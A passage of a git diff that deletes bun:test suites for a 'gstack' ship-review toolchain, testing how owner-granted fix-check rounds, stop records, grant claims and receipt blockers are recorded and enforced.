- const from = (rows: Record<string, unknown>[]) => stopFrom(rows, '2026-11-18T00:00:00Z', { treeOf: tree, onHead: c => c === S });
- test('X11: a completed stopped pass (incomplete because it did not converge) on a clean committed tree binds', () => {
- expect(from([bound])).toEqual({ ok: true, head: S, tree: T });
- });
- test('S1/S7/X11: a moved, dirty, unfinished or uncommitted read binds nothing', () => {
- expect(from([{ ...bound, review_binding: { state: 'changed', start_wtree: T, end_wtree: S2 } }]).ok).toBe(false);
- expect(from([{ ...bound, wtree: S2, review_binding: { state: 'incomplete', start_wtree: S2, end_wtree: S2 } }]).ok).toBe(false);
- expect(from([{ ...bound, completed: false }]).ok).toBe(false);
- expect(from([{ ...bound, commit_full: H }]).ok).toBe(false);
- });
- test('S5: a non-ship row is not the stopping review; a later fix-check row is, and must bind (#4591); an earlier run\'s row is out of range', () => {
- expect(from([bound, { ...bound, via: 'manual', commit_full: H }])).toMatchObject({ ok: true, head: S });
- expect(from([bound, { ...bound, skill: 'review-fix-check', commit_full: H }]).ok).toBe(false);
- expect(from([{ ...bound, commit_full: H }, { ...bound, skill: 'review-fix-check' }])).toMatchObject({ ok: true, head: S });
- expect(from([{ ...bound, timestamp: '2026-11-17T00:00:00Z' }]).ok).toBe(false);
- });
-});
-
-/** A fixture repository at the stop head with a PR body file, and the bins run against it. */
-function stopRepo(base: Record<string, string> = {}, branch: Record<string, string> = {}) {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n', ...base }, { 'src/x.ts': 'export const x = 2;\n', ...branch });
- fxs.push(f);
- const run = (bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
- const head = () => f.git('rev-parse', 'HEAD').stdout.trim();
- const body = path.join(f.root, 'body.md');
- fs.writeFileSync(body, 'Fixes a thing.\n');
- return { f, run, head, body };
-}
-const grantId = (out: string) => /APPROVAL_RECORDED: (a-[0-9a-f]{12})/.exec(out)?.[1];
-
-describe('the CLI seams', () => {
- test('G15-G18/X24: round-grant --kind fix-check records the stop run and findings at the full head; misuse is refused', () => {
- const r = stopRepo();
- const s = r.head();
- const ok = r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s.slice(0, 10), '--kind', 'fix-check', '--stop-run', 'ro', '--findings', 'p1/outside-voice#1,p1/red-team#2', '--reason', 'fixable blocker', '--by', 'Captain GStack Minder (GSTA-36)']);
- expect(ok.status, ok.stderr).toBe(0);
- expect(r.run('gstack-approvals', ['list', '--json']).stdout).toContain('review_round_grant ' + s + ' pr=7 kind=fix-check stop=ro findings=p1/outside-voice#1,p1/red-team#2');
- expect(r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s, '--kind', 'fix-check', '--stop-run', 'ro', '--reason', 'x', '--by', 'Captain GStack Minder']).status).toBe(2);
- expect(r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s, '--kind', 'fix-check', '--findings', 'f#1', '--reason', 'x', '--by', 'Captain GStack Minder']).status).toBe(2);
- expect(r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s, '--kind', 'extra-round', '--stop-run', 'ro', '--findings', 'f#1', '--reason', 'x', '--by', 'Captain GStack Minder']).status).toBe(2);
- expect(r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s, '--kind', 'fix-check', '--stop-run', 'ro', '--findings', 'f#1', '--reason', 'x', '--by', 'gstack']).status).toBe(2);
- });
-
- // Value: protects=a Captain's fix-check grant can be recorded on the /ship machine while the stopped run's marker is still there,
- // as a relay naming the Captain's message, and never as an unrelayed row inside the run; fails_when=round-grant refuses the relay
- // (APPROVAL_RECORD_INVALID, #4531) or accepts an unrelayed grant inside an open run; why_new=#4531's fix-check grant could not be
- // recorded; seam=gstack-approvals round-grant; no_claim=-
- test('#4531: inside an open /ship run a grant records only as a relay with --owner-ref and --words', () => {
- const r = stopRepo();
- const s = r.head();
- fs.writeFileSync(path.resolve(r.f.work, r.f.git('rev-parse', '--git-path', 'gstack-ship-run').stdout.trim()), 'ro\n');
- const grant = (extra: string[]) => r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s, '--kind', 'fix-check', '--stop-run', 'ro', '--findings', 'p1/red-team#2', '--reason', 'fixable blocker', '--by', 'Captain GStack Minder (GSTA-36)', ...extra]);
- const bare = grant([]);
- expect([bare.status, bare.stderr]).toEqual([2, expect.stringContaining('/ship run ro is open on this checkout')]);
- expect(grant(['--owner-ref', 'GSTA-36:2026-11-19T12:29:59Z']).status).toBe(2);
- expect(grant(['--owner-ref', 'not a ref', '--words', 'one fix-check']).status).toBe(2);
- const relayed = grant(['--owner-ref', 'GSTA-36:2026-11-19T12:29:59Z', '--words', 'one fix-check for red-team#2']);
- expect(relayed.status, relayed.stderr).toBe(0);
- expect(r.run('gstack-approvals', ['list', '--json']).stdout).toContain('relayed:GSTA-36:2026-11-19T12:29:59Z');
- });
-
- // Value: protects=GST-2968's own shape end to end: the read-only run stops, the stop is recorded, a fix-check grant is recorded after
- // it, history (as preflight runs it) routes the fix-check and the plan plans it; fails_when=history prints read-only and the plan
- // prints next=full; seam=gstack-ship-receipt stop/history/claim, gstack-review-plan
- test('G1/G2: stop, grant, history and plan route one fix-check; a second run cannot claim the same grant', () => {
- const r = stopRepo();
- const s = r.head();
- const start = r.run('gstack-review-log', ['--start', 'review']);
- expect(start.status, start.stderr).toBe(0);
- const logged = r.run('gstack-review-log', [JSON.stringify({ skill: 'review', timestamp: new Date().toISOString(), via: 'ship', pass: 1, review_scope: 'frozen', completed: true, converged: false, status: 'issues_found', issues_found: 1, critical: 1, informational: 0, findings: [{ fingerprint: 'src/x.ts:1:outside-voice', severity: 'CRITICAL', action: 'open', blocking: true, ledger_id: 'p1/outside-voice#1', raised_by: 'outside-voice' }] }), '--finish', start.stdout.trim()]);
- expect(logged.status, logged.stderr).toBe(0);
- fs.writeFileSync(r.body, placeRunEntry('Fixes a thing.\n', runStub({ head: H, run: 'r1', status: 'started', loop: loop(2) })));
- expect(r.run('gstack-ship-receipt', ['stub', '--body', r.body, '--run', 'ro', '--review-loop', JSON.stringify(loop(1))]).status).toBe(0);
- const stop = r.run('gstack-ship-receipt', ['stop', '--body', r.body, '--pr', '7', '--run', 'ro', '--since', '2000-01-01T00:00:00Z']);
- expect(stop.status, stop.stderr).toBe(0);
- expect(stop.stdout).toContain('STOP_RECORD: run=ro head=' + s);
- expect(stop.stdout).toContain('--kind fix-check --stop-run ro');
- const g = grantId(r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s, '--kind', 'fix-check', '--stop-run', 'ro', '--findings', 'p1/outside-voice#1', '--reason', 'fixable blocker', '--by', 'Captain GStack Minder (GSTA-36)']).stdout);
- expect(g).toBeDefined();
- r.f.write({ 'src/x.ts': 'export const x = 3;\n' }); r.f.commit('fix the blocker');
- const hist = r.run('gstack-ship-receipt', ['history', '--body', r.body, '--pr', '7', '--base', 'main', '--run', 'fc1']);
- expect(hist.status, hist.stderr).toBe(0);
- expect(hist.stdout).toContain('--round-grant ' + g + ' --stop ' + s);
- expect(hist.stdout).toMatch(/^PR_REVIEW_ROUTE: fix-check /m);
- const plan = r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-rounds', '3', '--prior-full', '3', '--pr', '7', '--round-grant', g!, '--stop', s]);
- expect(plan.status, plan.stderr).toBe(0);
- expect(plan.stdout).toContain('next=fix-check');
- expect(r.run('gstack-ship-receipt', ['claim', '--body', r.body, '--run', 'fc1', '--grant', g!]).stdout).toContain('GRANT_CLAIMED: grant=' + g);
- const twice = r.run('gstack-ship-receipt', ['claim', '--body', r.body, '--run', 'fc2', '--grant', g!]);
- expect(twice.status).toBe(3);
- expect(twice.stderr).toContain('(GRANT_SPENT)');
- expect(r.run('gstack-ship-receipt', ['history', '--body', r.body, '--pr', '7', '--base', 'main', '--run', 'fc2']).stdout).toContain('PR_REVIEW_GRANT: not applied (grant ' + g + ' was claimed by run fc1');
- });
-
- // Value: protects=FOUN-505, a granted stop whose fix is one string in a data .json (named by code or not) reads its fix range and plans
- // the fix-check; fails_when=gstack-diff-scope calls the range unmatched, FIX_RANGE prints unread and the plan stops with no fix to
- // read; seam=gstack-diff-scope, gstack-review-plan's fix range, classifyDiff's data rows
- test('a data-only fix after a granted stop is read (runtime 0) and plans the fix-check (FOUN-505)', () => {
- for (const named of [false, true]) {
- const labels = '{"label": "pass"}\n';
- const r = stopRepo({ 'data/labels.json': labels }, named ? { 'src/x.ts': "export const x = 2; // reads labels.json\n" } : {});
- const s = r.head();
- const g = grantId(r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s, '--kind', 'fix-check', '--stop-run', 'ro', '--findings', 'f#1', '--reason', 'x', '--by', 'Captain GStack Minder']).stdout)!;
- r.f.write({ 'data/labels.json': '{"label": "fail"}\n' }); r.f.commit('fix the label');
- const plan = r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-rounds', '3', '--prior-full', '3', '--pr', '7', '--round-grant', g, '--stop', s]);
- expect(plan.status, plan.stderr).toBe(0);
- expect(plan.stdout).not.toContain('unread');
- expect(plan.stdout).toContain('next=fix-check');
- }
- });
-
- test('X15/G7: the plan refuses a fix-check grant for another stop head and an extra-round grant with --stop, and plans no fix-check without a fix', () => {
- const r = stopRepo();
- const s = r.head();
- const g = grantId(r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s, '--kind', 'fix-check', '--stop-run', 'ro', '--findings', 'f#1', '--reason', 'x', '--by', 'Captain GStack Minder']).stdout)!;
- const plan = (extra: string[]) => r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-rounds', '3', '--prior-full', '3', '--pr', '7', '--round-grant', g, ...extra]);
- expect(plan(['--stop', s]).stdout).toContain('next=stop');
- expect(plan([]).status).toBe(3);
- r.f.write({ 'src/x.ts': 'export const x = 3;\n' }); r.f.commit('fix');
- expect(plan(['--stop', r.head()]).status).toBe(3);
- const x = grantId(r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', r.head(), '--kind', 'extra-round', '--reason', 'x', '--by', 'Captain GStack Minder']).stdout)!;
- expect(r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-full', '3', '--pr', '7', '--round-grant', x, '--stop', s]).status).toBe(3);
- });
-
- test('S1: stop records nothing for an unbound read (STOP_UNBOUND)', () => {
- const r = stopRepo();
- const out = r.run('gstack-ship-receipt', ['stop', '--body', r.body, '--pr', '7', '--run', 'ro', '--since', '2000-01-01T00:00:00Z']);
- expect(out.status).toBe(3);
- expect(out.stderr).toContain('(STOP_UNBOUND)');
- expect(fs.readFileSync(r.body, 'utf8')).not.toContain('"mark":"stop"');
- });
-
- // Value: protects=a claim names a real grant, an extra-round grant is claimed once, and a fresh run at the same head plans without a
- // grant another run spent instead of stopping on GRANT_SPENT; fails_when=claim marks an unknown id or history keeps the claimed
- // grant in PR_REVIEW_FLAGS; seam=gstack-ship-receipt claim/history
- test('claim refuses an unknown grant; history leaves out an extra-round grant another run claimed', () => {
- const r = stopRepo();
- const unknown = r.run('gstack-ship-receipt', ['claim', '--body', r.body, '--run', 'fc1', '--grant', 'a-000000000000']);
- expect(unknown.status).toBe(3);
- expect(unknown.stderr).toContain('(GRANT_UNKNOWN)');
- const x = grantId(r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', r.head(), '--kind', 'extra-round', '--reason', 'x', '--by', 'Captain GStack Minder']).stdout)!;
- const history = (run: string) => r.run('gstack-ship-receipt', ['history', '--body', r.body, '--pr', '7', '--base', 'main', '--run', run]).stdout;
- expect(history('r1')).toContain('--round-grant ' + x);
- expect(r.run('gstack-ship-receipt', ['claim', '--body', r.body, '--run', 'r1', '--grant', x]).stdout).toContain('GRANT_CLAIMED: grant=' + x + ' kind=extra-round');
- expect(history('r1')).toContain('--round-grant ' + x);
- expect(history('r2')).not.toContain('--round-grant');
- expect(history('r2')).toContain('PR_REVIEW_GRANT: not applied (grant ' + x + ' was claimed by run r1');
- });
-
- // Value: protects=the re-plans after a granted fix-check (post-review, targeted) keep PR_REVIEW_FLAGS' --stop with their own
- // --range-base after the stop's head; fails_when=any --range-base other than --stop exits 2; seam=gstack-review-plan
- test('the plan takes a --range-base at or after the --stop head and refuses one before it', () => {
- const r = stopRepo();
- const s = r.head();
- const g = grantId(r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s, '--kind', 'fix-check', '--stop-run', 'ro', '--findings', 'f#1', '--reason', 'x', '--by', 'Captain GStack Minder']).stdout)!;
- r.f.write({ 'src/x.ts': 'export const x = 3;\n' }); r.f.commit('fix');
- const fixed = r.head();
- const plan = (rangeBase: string) => r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-rounds', '3', '--prior-full', '3', '--pr', '7', '--round-grant', g, '--stop', s, '--post-review', '--last', 'fix-check', '--range-base', rangeBase]);
- const after = plan(fixed);
- expect(after.status, after.stderr).toBe(0);
- expect(plan(s + '~1').status).toBe(2);
- });
-});
-
-describe('finish and the summary count a run whose only round is the granted fix-check (X14)', () => {
- // Value: protects=GHOM-1's new run reaches its receipt: finish chains the fix-check to the stop's tree under a fix-check round grant,
- // and the summary takes a run with no full pass of its own; fails_when=finish reads only review_loop_grant rows or the summary
- // refuses passes=0; seam=gstack-ship-release finish, gstack-review-scope summary
- test('a fresh run: fix-check from the stop head, granted by a fix-check round grant', () => {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); });\n" });
- fxs.push(f);
- const run = (bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
- const s = f.git('rev-parse', 'HEAD').stdout.trim();
- const reviewed = run('gstack-wtree', []).stdout.trim();
- const reviewedBase = f.git('merge-base', 'origin/main', 'HEAD').stdout.trim();
- const g = run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s, '--kind', 'fix-check', '--stop-run', 'ro', '--findings', 'p1/outside-voice#1', '--reason', 'fixable blocker', '--by', 'Captain GStack Minder (GSTA-36)']);
- expect(g.status, g.stderr).toBe(0);
- f.write({ 'src/x.ts': 'export const x = 3;\n' }); f.commit('fix the read-only review blocker');
- const since = new Date(Date.now() - 1000).toISOString();
- const start = run('gstack-review-log', ['--start', 'review-fix-check']);
- expect(start.status, start.stderr).toBe(0);
- const logged = run('gstack-review-log', [JSON.stringify({ skill: 'review-fix-check', timestamp: new Date().toISOString(), via: 'ship', review_scope: 'frozen', range_base: s, completed: true, converged: true, status: 'clean', issues_found: 0, critical: 0, informational: 0, findings: [] }), '--finish', start.stdout.trim()]);
- expect(logged.status, logged.stderr).toBe(0);
- const summary = run('gstack-review-scope', ['summary', '--since', since, '--no-ledger', '--json']);
- expect(summary.status, summary.stderr).toBe(0);
- expect(JSON.parse(summary.stdout)).toMatchObject({ passes: 0, fix_checks: 1 });
- const post = path.join(f.root, 'post.json');
- expect(run('gstack-docs-candidate', ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
- const fin = f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', reviewed, '--docs-post', post, '--reviewed-base', reviewedBase, '--lane', 'tests=printf " 3 pass\\n 0 fail\\nRan 3 tests across 1 file. [5.00ms]\\n"'], { GSTACK_APPROVALS_MIRROR: '0' });
- expect(fin.stdout).toMatch(/^FIX_CHECK: reviewed .*src\/x\.ts.*grant a-[0-9a-f]{12}\)$/m);
- });
-});
diff --git a/test/round-cap-ruling-path.test.ts b/test/round-cap-ruling-path.test.ts
deleted file mode 100644
index 460dc0b13..000000000
--- a/test/round-cap-ruling-path.test.ts
+++ /dev/null
@@ -1,354 +0,0 @@
-/**
- * GST-3546: one grant path to a receipt after a Captain rules at the round cap. Before, three crews had no route that ended in a
- * receipt (gbrain #10068, gskills #23-#25, gstack #4712): an owner's review_loop_grant row was planned but claim refused it
- * (GRANT_UNKNOWN) and write refused RECEIPT_BLOCKER_OPEN until per-finding rule rows were written; a stop the tools could not bind
- * (STOP_UNBOUND) or a post-review docs edit had no grant at all; a malformed fix-check row (converged:false, a hand-built partial
- * packet) spent the grant; a verbatim owner reason overflowed round-grant's 300-character ask; and an ended /ship run held gstack
- * upgrades on its machine for an hour. Fixtures are synthetic; each case follows its report's shape.
- */
-import { afterEach, describe, expect, setDefaultTimeout, test } from 'bun:test';
-import { spawn, spawnSync, type ChildProcess } from 'node:child_process';
-import * as fs from 'node:fs';
-import * as os from 'node:os';
-import * as path from 'node:path';
-import type { ApprovalRow } from '../lib/approval-record';
-import { bindFixCheckRow, grantSpent } from '../lib/fix-check-clearing';
-import { readReviewRoundGrants, reviewRoundGrantRow, reviewRoundGrants } from '../lib/review-round-grant';
-import { liveRun } from '../lib/ship-run-live';
-import { abandonRefusal, readRunRecord, thisRunOwner, type RunOwner } from '../lib/ship-run-record';
-import { RELEASE, shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
-
-setDefaultTimeout(120_000);
-const BIN = path.dirname(RELEASE);
-const fxs: ShipFx[] = [];
-const kids: ChildProcess[] = [];
-const tmps: string[] = [];
-afterEach(() => {
- while (fxs.length) fxs.pop()!.cleanup();
- for (const k of kids.splice(0)) k.kill('SIGKILL');
- for (const d of tmps.splice(0)) fs.rmSync(d, { recursive: true, force: true });
-});
-
-const ID = 'p1/outside-voice#1', FP = 'src/x.ts:1:outside-voice';
-const ID2 = 'p1/red-team#2', FP2 = 'src/x.ts:1:red-team';
-const CAPTAIN = 'Captain GStack Minder (GSTA-36)';
-const TEST = "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); });\n";
-const open = (ledger_id: string, fingerprint: string) => ({ fingerprint, severity: 'CRITICAL', action: 'open', blocking: true, ledger_id, raised_by: 'outside-voice' });
-const CLEAN = { completed: true, converged: true, status: 'clean', issues_found: 0, critical: 0, informational: 0, findings: [] };
-const ok = (r: { status: number | null; stderr: string; stdout: string }) => { expect(r.status, r.stderr + r.stdout).toBe(0); return r.stdout; };
-const headOf = (f: ShipFx) => f.git('rev-parse', 'HEAD').stdout.trim();
-const marker = (f: ShipFx, run: string) => fs.writeFileSync(path.resolve(f.work, f.git('rev-parse', '--git-path', 'gstack-ship-run').stdout.trim()), run + '\n');
-const grantId = (out: string) => /APPROVAL_RECORDED: (a-[0-9a-f]{12})/.exec(out)?.[1] ?? '';
-
-interface Cap { f: ShipFx; run: (bin: string, args: string[]) => ReturnType<ShipFx['run']>; S: string; body: string; since: string }
-
-/** Round 2 stops at S with the given blockers open, and the run records no stop (gskills#23's STOP_UNBOUND, #4712's flow). */
-function atCap(blockers: Record<string, unknown>[]): Cap {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': TEST });
- fxs.push(f);
- const run = (bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
- const body = path.join(f.root, 'body.md');
- fs.writeFileSync(body, 'Fixes a thing.\n');
- const since = new Date(Date.now() - 1000).toISOString();
- marker(f, 'r2');
- const start = ok(run('gstack-review-log', ['--start', 'review'])).trim();
- ok(run('gstack-review-log', [JSON.stringify({ skill: 'review', timestamp: new Date().toISOString(), via: 'ship', review_scope: 'frozen', pass: 2, ...(blockers.length ? { completed: true, converged: false, status: 'issues_found', issues_found: blockers.length, critical: blockers.length, informational: 0, findings: blockers } : CLEAN) }), '--finish', start]));
- return { f, run, S: headOf(f), body, since };
-}
-
-/** The fix commit, the claim, and one fix-check reader through the logger with the fix list given; gstack builds the hunks. */
-function fixCheck(c: Cap, o: { grant: string; run: string; fixList: string; row?: Record<string, unknown>; files?: Record<string, string>; claim?: boolean }) {
- if (o.files) { c.f.write(o.files); c.f.commit('fix'); }
- if (o.claim !== false) ok(c.run('gstack-ship-receipt', ['claim', '--body', c.body, '--pr', '7', '--run', o.run, '--grant', o.grant]));
- const start = ok(c.run('gstack-review-log', ['--start', 'review-fix-check'])).trim();
- const files = Object.entries({ fixes: o.fixList, tests: '3 pass\n' }).map(([k, v]) => { const p = path.join(c.f.root, k + '.txt'); fs.writeFileSync(p, v); return p; });
- const prompt = c.run('gstack-review-plan', ['--fix-check-prompt', '--fix-list', files[0]!, '--tests', files[1]!]);
- ok(prompt);
- ok(c.run('gstack-review-log', [JSON.stringify({ skill: 'review-fix-check', timestamp: new Date().toISOString(), via: 'ship', review_scope: 'frozen', ...CLEAN, ...o.row }), '--finish', start]));
- return prompt;
-}
-
-/** A fix-check read logged with no claim (the gstack-review-plan --grant path): no claim stamps it, so it names no grant. */
-function unclaimedFixCheck(c: Cap, row: Record<string, unknown> = {}) {
- c.f.write({ 'src/x.ts': 'export const x = 3;\n' }); c.f.commit('fix');
- const start = ok(c.run('gstack-review-log', ['--start', 'review-fix-check'])).trim();
- ok(c.run('gstack-review-log', [JSON.stringify({ skill: 'review-fix-check', timestamp: new Date().toISOString(), via: 'ship', review_scope: 'frozen', ...CLEAN, ...row }), '--finish', start]));
-}
-
-function write(c: Cap, run: string) {
- const loop = path.join(c.f.root, 'loop.json');
- ok(c.run('gstack-review-scope', ['summary', '--since', c.since, '--no-ledger', '--out', loop]));
- return c.run('gstack-ship-receipt', ['write', '--pr', '7', '--run', run, '--base', 'main', '--session-kind', 'unattended', '--review-loop', '@' + loop, '--body', c.body]);
-}
-const rows = (c: Cap) => c.run('gstack-review-read', []).stdout.split('\n---CONFIG---')[0]!.split('\n').flatMap(l => { try { const v = JSON.parse(l); return v && typeof v === 'object' ? [v] : []; } catch { return []; } });
-const grantsOf = (c: Cap) => readReviewRoundGrants(c.f.work, { ...process.env, GSTACK_STATE_ROOT: c.f.state, GSTACK_HOME: c.f.state });
-
-describe('one grant kind: planner, claim and receipt accept either row (GST-3546, #4712)', () => {
- const row = (o: Partial<ApprovalRow>): ApprovalRow => ({ schema_version: 1, id: 'a-000000000009', date: '2026-11-22', recorded_at: '2026-11-22T00:00:00Z', words: 'do it', by: CAPTAIN, pending: 'none', outcome: 'approved', source: 'manual', branch: 'b', ask: '', scope: '', ...o });
- // Value: protects=an owner's review_loop_grant row is the same fix-check grant claim and write read; fails_when=it parses as
- // nothing (GRANT_UNKNOWN), or a ruling row that only mentions one becomes a grant; seam=reviewRoundGrants
- test('a review_loop_grant row reads as a fix-check grant naming its head and no PR; other rows that mention one do not', () => {
- const S = 'a'.repeat(40);
- expect(reviewRoundGrants([row({ ask: `Owner grant: one scoped fix-check (review_loop_grant ${S})`, scope: 'this /ship invocation' })]))
- .toEqual([expect.objectContaining({ kind: 'fix-check', head: S, pr: 0, legacy: true, findings: [] })]);
- expect(reviewRoundGrants([row({ ask: 'grant (review_loop_grant abcdef1)', scope: 'x' })], s => (s === 'abcdef1' ? S : undefined))[0]?.head).toBe(S);
- expect(reviewRoundGrants([row({ ask: 'grant (review_loop_grant abcdef1)', scope: 'x' })])).toEqual([]);
- expect(reviewRoundGrants([row({ ask: `ruled_note x at ${S}: fixed after review_loop_grant ${S}`, scope: `ruled_note x ${S}` })])).toEqual([]);
- });
-
- // Value: protects=#4712: the planner-accepted review_loop_grant also claims, stamps the fix-check and closes the blocker its
- // reader was given, with no per-finding rule rows; fails_when=claim prints GRANT_UNKNOWN or write RECEIPT_BLOCKER_OPEN;
- // seam=gstack-ship-receipt claim and write
- test('#4712: a review_loop_grant row claims, and its clean fix-check closes the blocker at write', () => {
- const c = atCap([open(ID, FP)]);
- const args = ['add', '--ask', `Owner grant: one scoped fix-check after round 2 (review_loop_grant ${c.S})`, '--words', 'do it', '--by', CAPTAIN, '--scope', 'this /ship invocation', '--json'];
- const self = c.run('gstack-approvals', args);
- expect([self.status, self.stderr]).toEqual([2, expect.stringContaining('never the run\'s own')]);
- for (const spelling of [['--ask', `grant (review_loop_grant: ${c.S})`], ['--scope', 'review_loop_exception x', '--ask', `grant (review_loop_grant ${c.S})`]]) {
- const r = c.run('gstack-approvals', ['add', ...spelling, '--words', 'do it', '--by', CAPTAIN, '--json']);
- expect([r.status, r.stderr]).toEqual([2, expect.stringContaining('never the run\'s own')]);
- }
- const id = JSON.parse(ok(c.run('gstack-approvals', [...args, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z']))).added[0] as string;
- fixCheck(c, { grant: id, run: 'r2', fixList: 'fix ' + ID + '\n', files: { 'src/x.ts': 'export const x = 3;\n' } });
- const row = rows(c).filter(r => r.skill === 'review-fix-check').at(-1)!;
- expect(row).toMatchObject({ fix_check_base: c.S, grant: id, pr: 7 });
- expect(bindFixCheckRow(c.f.work, row, grantsOf(c))).toMatchObject({ ok: true });
- const w = write(c, 'r2');
- expect(w.status, w.stderr).toBe(0);
- expect(w.stderr).toContain(`FIX_CHECK_CLEAR: grant=${id} run=r2 closed=${ID}`);
- });
-
- // Value: protects=GST-3546: gstack-review-plan --grant takes a round-grant fix-check row too, at the head it names; since
- // GST-3562 A it buys the fix-check only at the stop after a round-2 fix-check, and after a round-2 full pass the fix gets the
- // read-only full review instead; fails_when=--grant refuses the row ("no approved row ... naming review_loop_grant"), or the
- // grant swaps the read-only review for a fix-check; seam=gstack-review-plan --grant
- test('the planner takes a round-grant fix-check row: the fix-check after a round-2 fix-check, the read-only full review after a round-2 full pass', () => {
- const c = atCap([open(ID, FP)]);
- const id = grantId(ok(c.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', c.S, '--kind', 'fix-check', '--reason', 'Captain ruled: fix it', '--by', CAPTAIN, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--words', 'fix it'])));
- const plan = c.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--pass', '2', '--last', 'full', '--fixed-blocking', '--range-base', c.S, '--grant', id]);
- expect(plan.status, plan.stderr).toBe(0);
- expect(plan.stdout).toContain('NEXT: full (read-only final review (R51)');
- const after = c.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--pass', '1', '--last', 'fix-check', '--fix-checks', '1', '--fixed-blocking', '--range-base', c.S, '--grant', id]);
- expect(after.status, after.stderr).toBe(0);
- expect(after.stdout).toContain(`NEXT: fix-check (the owner's grant ${id}`);
- });
-});
-
-describe('a ruling at the cap ends in a receipt (gskills#23, GST-3546)', () => {
- // Value: protects=gskills#23: after STOP_UNBOUND the Captain's grant with no stop, a claim and one clean scoped fix-check close
- // the blockers its reader was given, with no hand-written per-finding rows; fails_when=write refuses RECEIPT_BLOCKER_OPEN;
- // seam=gstack-approvals round-grant, gstack-ship-receipt claim and write
- test('a no-stop fix-check grant closes the blockers the clean fix-check read', () => {
- const c = atCap([open(ID, FP), open(ID2, FP2)]);
- const id = grantId(ok(c.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', c.S, '--kind', 'fix-check', '--reason', 'Captain ruled both blockers fixable', '--by', CAPTAIN, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--words', 'fix both'])));
- fixCheck(c, { grant: id, run: 'r2', fixList: `fix ${ID}\nfix ${ID2}\n`, files: { 'src/x.ts': 'export const x = 3;\n' } });
- const w = write(c, 'r2');
- expect(w.status, w.stderr).toBe(0);
- expect(w.stderr).toContain(`FIX_CHECK_CLEAR: grant=${id} run=r2 closed=${ID},${ID2}`);
- });
-
- // Value: protects=the floor: a blocker neither a ruling nor the clean fix-check covers still refuses; fails_when=write closes a
- // blocker the reader was never given; seam=gstack-ship-receipt write
- test('a blocker the fix list left out still refuses RECEIPT_BLOCKER_OPEN', () => {
- const c = atCap([open(ID, FP), open(ID2, FP2)]);
- const id = grantId(ok(c.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', c.S, '--kind', 'fix-check', '--reason', 'fix one', '--by', CAPTAIN, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--words', 'fix one'])));
- fixCheck(c, { grant: id, run: 'r2', fixList: `fix ${ID}\n`, files: { 'src/x.ts': 'export const x = 3;\n' } });
- const w = write(c, 'r2');
- expect(w.status).toBe(3);
- expect(w.stderr).toContain('RECEIPT_BLOCKER_OPEN');
- expect(w.stderr).toContain(ID2);
- });
-});
-
-describe('a grant spends only on a counted fix-check (gskills#24, gskills#25)', () => {
- // Value: protects=gskills#25: a converged:false row leaves the grant unspent, the run logs a correct row and write closes;
- // fails_when=grantSpent counts the malformed row, or write refuses on two stamped rows; seam=grantSpent, clearByGrant
- test('a malformed row spends nothing, and a correct row on the same grant closes the blocker', () => {
- const c = atCap([open(ID, FP)]);
- const id = grantId(ok(c.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', c.S, '--kind', 'fix-check', '--reason', 'fix it', '--by', CAPTAIN, '--owner-ref', 'GSTA-36:2026-11-22T12:00:00Z', '--words', 'fix it'])));
- fixCheck(c, { grant: id, run: 'r2', fixList: 'fix ' + ID + '\n', files: { 'src/x.ts': 'export const x = 3;\n' }, row: { converged: false } });
- const bind = (r: Record<string, any>) => bindFixCheckRow(c.f.work, r, grantsOf(c)).ok;
- const g = grantsOf(c).find(x => x.approval === id)!;
- expect(grantSpent(rows(c), g, bind)).toBe(false);
- expect(write(c, 'r2').status).toBe(3);
- fixCheck(c, { grant: id, run: 'r2', fixList: 'fix ' + ID + '\n', claim: false });
- expect(grantSpent(rows(c), g, bind)).toBe(true);
- const w = write(c, 'r2');
- expect(w.status, w.stderr).toBe(0);
- expect(w.stderr).toContain(`closed=${ID}`);
- });
-
- // Value: protects=R51's one fix round: a counted read that found issues spends the grant, so a later clean row on it closes
- // nothing; fails_when=a second fix-check under one grant clears the blockers; seam=grantSpent, clearByGrant
